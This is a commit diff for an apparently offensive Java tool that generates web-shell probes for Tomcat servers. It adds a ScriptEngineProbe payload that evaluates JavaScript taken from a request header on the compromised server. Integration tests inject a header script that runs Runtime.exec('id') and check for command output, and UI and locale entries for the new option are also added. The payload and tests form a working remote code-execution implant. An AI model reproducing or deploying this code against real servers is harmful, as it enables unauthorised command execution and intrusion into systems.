feat: support script engine probe

generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java

@@ -10,5 +10,6 @@ public enum ProbeContent {
     JDK,
     Bytecode,
     Command,
-    BasicInfo
+    BasicInfo,
+    ScriptEngine
 }

generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java

@@ -9,6 +9,7 @@ import com.reajason.javaweb.probe.config.ResponseBodyConfig;
 import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator;
 import com.reajason.javaweb.probe.payload.ByteCodeProbe;
 import com.reajason.javaweb.probe.payload.CommandProbe;
+import com.reajason.javaweb.probe.payload.ScriptEngineProbe;
 import com.reajason.javaweb.probe.payload.response.*;
 import com.reajason.javaweb.utils.ShellCommonUtil;
 import net.bytebuddy.ByteBuddy;
@@ -51,6 +52,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
                 return CommandProbe.class;
             case Bytecode:
                 return ByteCodeProbe.class;
+            case ScriptEngine:
+                return ScriptEngineProbe.class;
             default:
                 throw new GenerationException("responseBody not supported for probe content: " + probeConfig.getProbeContent());
         }

generator/src/main/java/com/reajason/javaweb/probe/payload/ScriptEngineProbe.java

@@ -0,0 +1,34 @@
+package com.reajason.javaweb.probe.payload;
+
+import lombok.SneakyThrows;
+import net.bytebuddy.asm.Advice;
+
+import javax.script.ScriptEngine;
+import javax.script.ScriptEngineManager;
+
+/**
+ * @author ReaJason
+ * @since 2025/11/18
+ */
+public class ScriptEngineProbe {
+    private final String script;
+
+    public ScriptEngineProbe(String script) {
+        this.script = script;
+    }
+
+    @Advice.OnMethodExit
+    public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception {
+        ScriptEngine js = new ScriptEngineManager().getEngineByName("js");
+        if (js == null) {
+            return ret = "js engine is null";
+        }
+        return ret = js.eval(data).toString();
+    }
+
+    @Override
+    @SneakyThrows
+    public String toString() {
+        return ScriptEngineProbe.exit(script, super.toString());
+    }
+}

generator/src/test/java/com/reajason/javaweb/probe/payload/ScriptEngineProbeTest.java

@@ -0,0 +1,18 @@
+package com.reajason.javaweb.probe.payload;
+
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * @author ReaJason
+ * @since 2025/11/18
+ */
+class ScriptEngineProbeTest {
+
+    @Test
+    void test(){
+        String hello = new ScriptEngineProbe("1 + 1").toString();
+        assertEquals("2", hello);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java

@@ -110,4 +110,36 @@ public class ProbeAssertion {
             ));
         }
     }
+
+    @SneakyThrows
+    public static void responseScriptEngineIsOk(String url, String server, int targetJreVersion) {
+        ProbeConfig probeConfig = ProbeConfig.builder()
+                .probeMethod(ProbeMethod.ResponseBody)
+                .probeContent(ProbeContent.ScriptEngine)
+                .debug(true)
+                .shrink(true)
+                .staticInitialize(true)
+                .targetJreVersion(targetJreVersion)
+                .build();
+        String headerName = "X-Header";
+        ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
+                .server(server)
+                .reqParamName(headerName)
+                .build();
+        ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
+        String content = probeResult.getShellBytesBase64Str();
+        RequestBody requestBody = new FormBody.Builder()
+                .add("data", content)
+                .build();
+        Request request = new Request.Builder()
+                .header("Content-Type", "application/x-www-form-urlencoded")
+                .header(headerName, "new java.util.Scanner(java.lang.Runtime.getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()")
+                .url(url + "/b64").post(requestBody)
+                .build();
+        try (Response response = new OkHttpClient().newCall(request).execute()) {
+            assertThat(response.body().string(), anyOf(
+                    containsString("uid=")
+            ));
+        }
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java

@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
 import com.reajason.javaweb.integration.probe.DetectionTool;
 import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
-import net.bytebuddy.jar.asm.Opcodes;
+import org.objectweb.asm.Opcodes;
 import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.wait.strategy.Wait;
@@ -63,6 +63,13 @@ public class Tomcat10ContainerTest {
         ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V11);
     }
 
+    @Test
+    @SneakyThrows
+    void testScriptEngineReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V11);
+    }
+
     @Test
     @SneakyThrows
     void testBytecodeReqParamResponseBody() {

integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java

@@ -71,6 +71,13 @@ public class Tomcat5ContainerTest {
         ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
     }
 
+    @Test
+    @SneakyThrows
+    void testScriptEngineReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_6);
+    }
+
     @Test
     @SneakyThrows
     void testBytecodeReqParamResponseBody() {

integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java

@@ -63,6 +63,13 @@ public class Tomcat6ContainerTest {
         ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
     }
 
+    @Test
+    @SneakyThrows
+    void testScriptEngineReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_6);
+    }
+
     @Test
     @SneakyThrows
     void testBytecodeReqParamResponseBody() {

integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java

@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
 import com.reajason.javaweb.integration.probe.DetectionTool;
 import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
-import net.bytebuddy.jar.asm.Opcodes;
+import org.objectweb.asm.Opcodes;
 import org.junit.jupiter.api.Test;
 import org.junitpioneer.jupiter.RetryingTest;
 import org.testcontainers.containers.GenericContainer;
@@ -65,6 +65,13 @@ public class Tomcat7ContainerTest {
         ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_7);
     }
 
+    @Test
+    @SneakyThrows
+    void testScriptEngineReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_7);
+    }
+
     @Test
     @SneakyThrows
     void testBytecodeReqParamResponseBody() {

integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java

@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
 import com.reajason.javaweb.integration.probe.DetectionTool;
 import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
-import net.bytebuddy.jar.asm.Opcodes;
+import org.objectweb.asm.Opcodes;
 import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.wait.strategy.Wait;
@@ -64,6 +64,13 @@ public class Tomcat8ContainerTest {
         ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_8);
     }
 
+    @Test
+    @SneakyThrows
+    void testScriptEngineReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_8);
+    }
+
     @Test
     @SneakyThrows
     void testBytecodeReqParamResponseBody() {

integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java

@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
 import com.reajason.javaweb.integration.probe.DetectionTool;
 import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
-import net.bytebuddy.jar.asm.Opcodes;
+import org.objectweb.asm.Opcodes;
 import org.junit.jupiter.api.Test;
 import org.junitpioneer.jupiter.RetryingTest;
 import org.testcontainers.containers.GenericContainer;
@@ -64,6 +64,13 @@ public class Tomcat9ContainerTest {
         ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V9);
     }
 
+    @Test
+    @SneakyThrows
+    void testScriptEngineReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V9);
+    }
+
     @Test
     @SneakyThrows
     void testBytecodeReqParamResponseBody() {

web/package.json

@@ -17,7 +17,7 @@
     "@biomejs/biome": "2.1.4",
     "@react-router/dev": "^7.9.6",
     "@types/node": "^24.10.1",
-    "@types/react": "^19.2.5",
+    "@types/react": "^19.2.6",
     "@types/react-copy-to-clipboard": "^5.0.7",
     "@types/react-dom": "^19.2.3",
     "@types/react-syntax-highlighter": "^15.5.13",
@@ -31,7 +31,7 @@
   "dependencies": {
     "@hookform/resolvers": "^5.2.2",
     "@tailwindcss/vite": "^4.1.17",
-    "@tanstack/react-query": "^5.90.9",
+    "@tanstack/react-query": "^5.90.10",
     "class-variance-authority": "^0.7.1",
     "clsx": "^2.1.1",
     "framer-motion": "^12.23.24",
@@ -42,7 +42,7 @@
     "react": "^19.2.0",
     "react-copy-to-clipboard": "^5.1.0",
     "react-dom": "^19.2.0",
-    "react-hook-form": "^7.66.0",
+    "react-hook-form": "^7.66.1",
     "react-i18next": "^15.7.4",
     "react-router": "^7.9.6",
     "react-router-dom": "^7.9.6",

web/src/components/probeshell/main-config-card.tsx

@@ -31,6 +31,7 @@ const PROBE_OPTIONS = [
   { value: "JDK" as const, label: "jdk" },
   { value: "Command" as const, label: "command" },
   { value: "Bytecode" as const, label: "bytecode" },
+  { value: "ScriptEngine" as const, label: "script" },
 ] as const;
 
 const MIDDLEWARE_OPTIONS = [
@@ -73,7 +74,7 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
 
   const filteredOptions = useMemo(() => {
     const filterMap = {
-      ResponseBody: ["Command", "Bytecode"],
+      ResponseBody: ["Command", "Bytecode", "ScriptEngine"],
       DNSLog: ["JDK", "Server"],
       Sleep: ["Server"],
     } as const;
@@ -207,12 +208,12 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
 
   const renderDynamicFields = useCallback(() => {
     const isBodyMethod = watchedProbeMethod === "ResponseBody";
-    const isCommandOrBytecode =
+    const needParam =
-      watchedProbeContent === "Command" || watchedProbeContent === "Bytecode";
+      watchedProbeContent === "Command" || watchedProbeContent === "Bytecode" || watchedProbeContent === "ScriptEngine";
     const isSleepMethod = watchedProbeMethod === "Sleep";
     const isServerContent = watchedProbeContent === "Server";
 
-    if (isBodyMethod && isCommandOrBytecode) {
+    if (isBodyMethod && needParam) {
       return RequestParamField;
     }
 

web/src/i18n/probeshell/en.json

@@ -3,6 +3,7 @@
   "dnslog.host": "DNSLog Host",
   "probeContent": "ProbeContent",
   "probeContent.bytecode": "Bytecode",
+  "probeContent.script": "ScriptEngine",
   "probeContent.command": "Command",
   "probeContent.jdk": "JDK",
   "probeContent.server": "Server",

web/src/i18n/probeshell/zh-CN.json

@@ -2,7 +2,8 @@
   "buttons.generate": "生成探测马",
   "dnslog.host": "DNSLog 地址",
   "probeContent": "探测内容",
-  "probeContent.bytecode": "自定义字节码执行",
+  "probeContent.bytecode": "字节码执行",
+  "probeContent.script": "脚本引擎执行",
   "probeContent.command": "命令执行",
   "probeContent.jdk": "JDK 信息",
   "probeContent.server": "服务类型",